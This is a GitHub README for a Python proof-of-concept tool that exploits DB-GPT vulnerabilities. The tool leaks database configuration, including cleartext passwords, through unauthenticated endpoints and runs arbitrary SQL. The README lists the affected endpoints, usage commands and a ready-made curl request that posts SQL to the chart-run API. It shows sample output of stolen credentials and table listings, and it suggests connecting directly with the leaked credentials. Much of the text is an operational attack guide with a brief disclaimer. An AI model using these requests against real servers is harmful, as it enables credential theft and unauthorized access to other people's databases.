6jeffr3y/CNVD-2026-12436-and-CVE-2024-10835
GitHub: 6jeffr3y/CNVD-2026-12436-and-CVE-2024-10835
DB-GPT 数据库配置信息泄露与未授权 SQL 执行漏洞的 PoC 验证工具,支持自动获取凭据并执行任意 SQL 语句。
Stars: 0 | Forks: 0
# DBGPT 未授权信息泄露与 SQL 执行 PoC
## 漏洞描述
本工具集成了 DBGPT 中两个关键漏洞的 PoC 脚本,涉及敏感信息泄露和未授权任意 SQL 执行。
### 1. 信息泄露
- **漏洞 ID**: CNVD-2026-12436 / CVE-2024-10835 (相关)
- **受影响端点**: `/api/v2/serve/datasources`, `/api/v1/chat/db/list`
- **影响**: 未授权攻击者可直接访问数据库配置接口,获取包括数据库主机、端口、用户名和**明文密码**在内的敏感信息。
### 2. 未授权 SQL 执行
- **受影响端点**: `/api/v1/editor/chart/run`, `/api/v1/sql/exec`, `/api/v1/editor/db/run`
- **影响**: 攻击者可利用泄露或猜测的数据库名称 (`db_name`) 构造恶意图表生成请求,在目标数据库上执行任意 SQL 语句。
## 环境要求
- Python 3.x
- requests
```
pip install requests
```
## 使用方法
```
python dbgpt_poc.py -u [options]
```
### 参数说明
- `-u, --url`: 目标 DBGPT 服务器 URL (例如 `https://dbgpt.example.com`)
- `-s, --sql`: 要执行的 SQL 查询 (默认: `SELECT VERSION();`)
- `--db`: 指定要利用的数据库名称 (可选。如果未指定,脚本会尝试从泄露的数据源中提取)
- `--curl`: 仅生成 cURL 命令,不执行请求 (适用于手动复现或绕过 WAF)
## 示例
### 1. 自动检测与验证
最简单的用法。脚本会自动尝试获取数据库凭据,并在第一个发现的数据库上执行版本查询。
```
python dbgpt_poc.py -u https://dbgpt.example.com
```
### 2. 执行自定义 SQL
获取当前数据库用户:
```
python dbgpt_poc.py -u https://dbgpt.example.com --sql "SELECT user();"
```
列出所有表名:
```
python dbgpt_poc.py -u https://dbgpt.example.com --sql "SHOW TABLES;"
```
### 3. 指定数据库名称
如果自动检测失败,但您知道目标数据库名称 (例如 `test_db`):
```
python dbgpt_poc.py -u https://dbgpt.example.com --db "test_db" --sql "SELECT VERSION();"
```
### 4. 生成 cURL 命令 (新!)
生成可在终端执行的 cURL 命令,用于手动验证或调试:
```
python dbgpt_poc.py -u http://target.com --db "test_db" --sql "SELECT version();" --curl
```
输出示例:
```
[+] Generated cURL command:
curl -X POST "http://target.com/api/v1/editor/chart/run" -H "Content-Type: application/json" -d '{"db_name": "test_db", "chart_type": "bar", "sql": "SELECT version();"}'
```
## 漏洞利用演示
### 场景 1: 获取数据库敏感配置
运行 PoC 后,阶段 1 的输出直接显示了数据库凭据:
```
[+] Found 1 Database Configurations:
[1] Database ID: 1
Name : target_db
Type : mysql
Host : 127.0.0.1
Port : 3306
User : root
Password : ****** <-- Cleartext password leaked
```
### 场景 2: 执行任意 SQL 查询
阶段 2 自动适应数据库类型并执行查询:
```
[+] Target: target_db (Type: mysql)
[*] Executing SQL on database 'target_db': SHOW TABLES;
[+] SQL Execution Successful!
Columns: ['Tables_in_target_db']
Results:
['users']
['orders']
['products']
```
## 常见问题
**Q: 为什么阶段 2 报告 `unexpected keyword argument 'params'`?**
A: 这是目标服务器后端代码的一个 bug (常见于 PostgreSQL 环境)。脚本会自动尝试多个端点以绕过此问题。如果仍然失败,建议使用在 `阶段 1` 中获取的凭据直接连接数据库。
**Q: 如何适配 Oracle/SQL Server?**
A: 脚本内置了智能 SQL 适配功能。它会根据阶段 1 检测到的数据库类型,自动将默认的 `SELECT VERSION()` 替换为 `SELECT * FROM v$version` (Oracle) 或 `SELECT @@VERSION` (MSSQL)。
## 免责声明
本工具仅供安全研究和授权测试使用。严禁用于非法用途。用户需自行承担因使用本工具而产生的任何后果的所有责任。
标签:AI安全, API安全, Chat Copilot, CISA项目, CNVD-2026-12436, CVE-2024-10835, DB-GPT, JSON输出, PE 加载器, PoC, Python, 信息泄露, 安全漏洞, 敏感信息提取, 无后门, 暴力破解, 未授权访问, 网络安全, 隐私保护